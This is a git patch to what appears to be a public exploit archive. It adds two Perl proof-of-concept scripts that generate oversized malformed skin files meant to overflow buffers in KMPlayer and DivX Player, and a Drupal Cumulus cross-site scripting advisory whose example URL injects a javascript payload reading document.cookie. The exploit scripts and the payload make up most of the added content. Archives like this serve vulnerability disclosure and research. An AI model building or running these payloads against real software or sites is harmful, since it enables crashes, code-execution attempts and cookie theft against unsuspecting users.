From 3db40f2ad21a9ad3afe3815ae080db51afe62b23 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Sun, 30 Nov 2014 04:52:46 +0000 Subject: [PATCH] Updated 11_30_2014 --- files.csv | 3 ++ platforms/multiple/remote/35398.pl | 62 ++++++++++++++++++++++++++++++ platforms/php/webapps/35397.txt | 9 +++++ platforms/windows/remote/35399.pl | 62 ++++++++++++++++++++++++++++++ 4 files changed, 136 insertions(+) create mode 100755 platforms/multiple/remote/35398.pl create mode 100755 platforms/php/webapps/35397.txt create mode 100755 platforms/windows/remote/35399.pl diff --git a/files.csv b/files.csv index 427420523..ec38059f6 100755 --- a/files.csv +++ b/files.csv @@ -31878,3 +31878,6 @@ id,file,description,date,author,platform,type,port 35393,platforms/php/webapps/35393.txt,"WordPress ComicPress Manager Plugin 1.4.9 'lang' Parameter Cross Site Scripting Vulnerability",2011-02-23,"AutoSec Tools",php,webapps,0 35394,platforms/php/webapps/35394.txt,"WordPress YT-Audio Plugin 1.7 'v' Parameter Cross Site Scripting Vulnerability",2011-02-23,"AutoSec Tools",php,webapps,0 35395,platforms/windows/local/35395.txt,"CCH Wolters Kluwer PFX Engagement <= 7.1 - Local Privilege Escalation",2014-11-28,"Information Paradox",windows,local,0 +35397,platforms/php/webapps/35397.txt,"Drupal Cumulus Module 5.X-1.1/6.X-1.4 'tagcloud' Parameter Cross Site Scripting Vulnerability",2011-02-23,MustLive,php,webapps,0 +35398,platforms/multiple/remote/35398.pl,"KMPlayer 2.9.3.1214 '.ksf' File Remote Buffer Overflow Vulnerability",2011-02-28,KedAns-Dz,multiple,remote,0 +35399,platforms/windows/remote/35399.pl,"DivX Player 6.x '.dps' File Remote Buffer Overflow Vulnerability",2011-02-28,KedAns-Dz,windows,remote,0 diff --git a/platforms/multiple/remote/35398.pl b/platforms/multiple/remote/35398.pl new file mode 100755 index 000000000..045688ad4 --- /dev/null +++ b/platforms/multiple/remote/35398.pl @@ -0,0 +1,62 @@ +source: http://www.securityfocus.com/bid/46608/info + +KMPlayer is prone to a remote buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input. + +Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions. + +KMPlayer 2.9.3.1214 is vulnerable; other versions may also be affected. + +#!/usr/bin/perl + +### +# Title : KMPlayer 'Skins' V<=2.9.3.1 Buffer Overflow +# Author : KedAns-Dz +# E-mail : ked-h@hotmail.com +# Home : HMD/AM (30008/04300) - Algeria -(00213555248701) +# Twitter page : twitter.com/kedans +# Tested on : windows XP SP3 Fran?ais & Arabic +# Target : KMPlayer Version <= 2.9.3.1214 +### + +# Note : This Exploit BOF is Special Greets to Member ' Overfolw ' From sec4ever.com + +#START SYSTEM /root@MSdos/ : +system("title KedAns-Dz"); +system("color 1e"); +system("cls"); + +print "\n\n". + " ||========================================||\n". + " || ||\n". + " || KMPlayer 'Skins' V<=2.9.3.1214 ||\n". + " || Exploit Buffer Overflow ||\n". + " || Created BY KedAns-Dz ||\n". + " || ked-h(at)hotmail(dot)com ||\n". + " || ||\n". + " ||========================================||\n\n\n"; +sleep(2); +print "\n"; +print " [!] Please Wait Till c0de Generate...\n"; +my $ked = "\x41" x 100000000 ; # Integer Overflow +my $Buf = +"\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00\x51\x6a\x95\x35\xaf\xa6". # Skin index +"\xbd\x3f\x45\x08\x00\x00\x3f\x00\x00\x00". +"$ked"; # end Skin index +$file = "KedSkinX.ksf"; # Evil File ( KMP.Skin.file ) +open (F ,">$file"); +print F $Buf; +sleep (2); +print "\n [+] Creat File : $file , Succesfully ! \n"; +close (F); + +#================[ Exploited By KedAns-Dz * HST-Dz * ]========================= +# GreetZ to : Islampard * Dr.Ride * Zaki.Eng * BadR0 * NoRo FouinY * Red1One +# XoreR * Mr.Dak007 * Hani * TOnyXED * Fox-Dz * Massinhou-Dz ++ all my friends ; +# > Algerians < [D] HaCkerS-StreeT-Team [Z] > Hackers < +# My Friends on Facebook : Nayla Festa * Dz_GadlOl * MatmouR13 ...all Others +# 4nahdha.com : TitO (Dr.Ride) * MEN_dz * Mr.LAK (Administrator) * all members ... +# sec4ever.com members Dz : =>> +# Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz ... all Others +# hotturks.org : TeX * KadaVra ... all Others +# Kelvin.Xgr ( kelvinx.net) +#=========================================================================== diff --git a/platforms/php/webapps/35397.txt b/platforms/php/webapps/35397.txt new file mode 100755 index 000000000..4bde0efbc --- /dev/null +++ b/platforms/php/webapps/35397.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/46594/info + +The Cumulus module for Drupal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. + +Versions prior to Cumulus 6.x-1.4 and 5.x-1.1 are vulnerable. + +http://www.example.com/modules/cumulus/cumulus.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E \ No newline at end of file diff --git a/platforms/windows/remote/35399.pl b/platforms/windows/remote/35399.pl new file mode 100755 index 000000000..6fdfe9317 --- /dev/null +++ b/platforms/windows/remote/35399.pl @@ -0,0 +1,62 @@ +source: http://www.securityfocus.com/bid/46609/info + +DivX Player is prone to a remote buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied input. + +Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions. + +DivX Player 6.x versions are vulnerable. + +#!/usr/bin/perl + +### +# Title : DivX Player 'Skins' V<=6.8.2.1 Buffer Overflow +# Author : KedAns-Dz +# E-mail : ked-h@hotmail.com +# Home : HMD/AM (30008/04300) - Algeria -(00213555248701) +# Twitter page : twitter.com/kedans +# Tested on : windows XP SP3 Fran?ais & Arabic +# Target : DivX Player Version 6.8.2.1 and all Versions 6.x +### + +# Note : This Exploit BOF is Special Greets to Member ' Overfolw ' From sec4ever.com + +#START SYSTEM /root@MSdos/ : +system("title KedAns-Dz"); +system("color 1e"); +system("cls"); + +print "\n\n". + " ||========================================||\n". + " || ||\n". + " || DivX Player 'Skins' V<=6.8.2.1 ||\n". + " || Exploit Buffer Overflow ||\n". + " || Created BY KedAns-Dz ||\n". + " || ked-h(at)hotmail(dot)com ||\n". + " || ||\n". + " ||========================================||\n\n\n"; +sleep(2); +print "\n"; +print " [!] Please Wait Till c0de Generate...\n"; +my $ked = "\x41" x 100000000 ; # Integer Overflow +my $Buf = +"\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00\x7b\x4f\x39\x38\x56\x1f". # Skin index +"\xbf\xe7\x06\x45\x00\x00\x8b\x45\x00\x00". +"$ked\x3e"; # end Skin index +$file = "KedSkinX.dps"; # Evil File ( Divx.Player.Skin ) +open (F ,">$file"); +print F $Buf; +sleep (2); +print "\n [+] Creat File : $file , Succesfully ! \n"; +close (F); + +#================[ Exploited By KedAns-Dz * HST-Dz * ]========================= +# GreetZ to : Islampard * Dr.Ride * Zaki.Eng * BadR0 * NoRo FouinY * Red1One +# XoreR * Mr.Dak007 * Hani * TOnyXED * Fox-Dz * Massinhou-Dz ++ all my friends ; +# > Algerians < [D] HaCkerS-StreeT-Team [Z] > Hackers < +# My Friends on Facebook : Nayla Festa * Dz_GadlOl * MatmouR13 ...all Others +# 4nahdha.com : TitO (Dr.Ride) * MEN_dz * Mr.LAK (Administrator) * all members ... +# sec4ever.com members Dz : =>> +# Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz ... all Others +# hotturks.org : TeX * KadaVra ... all Others +# Kelvin.Xgr ( kelvinx.net) +#===========================================================================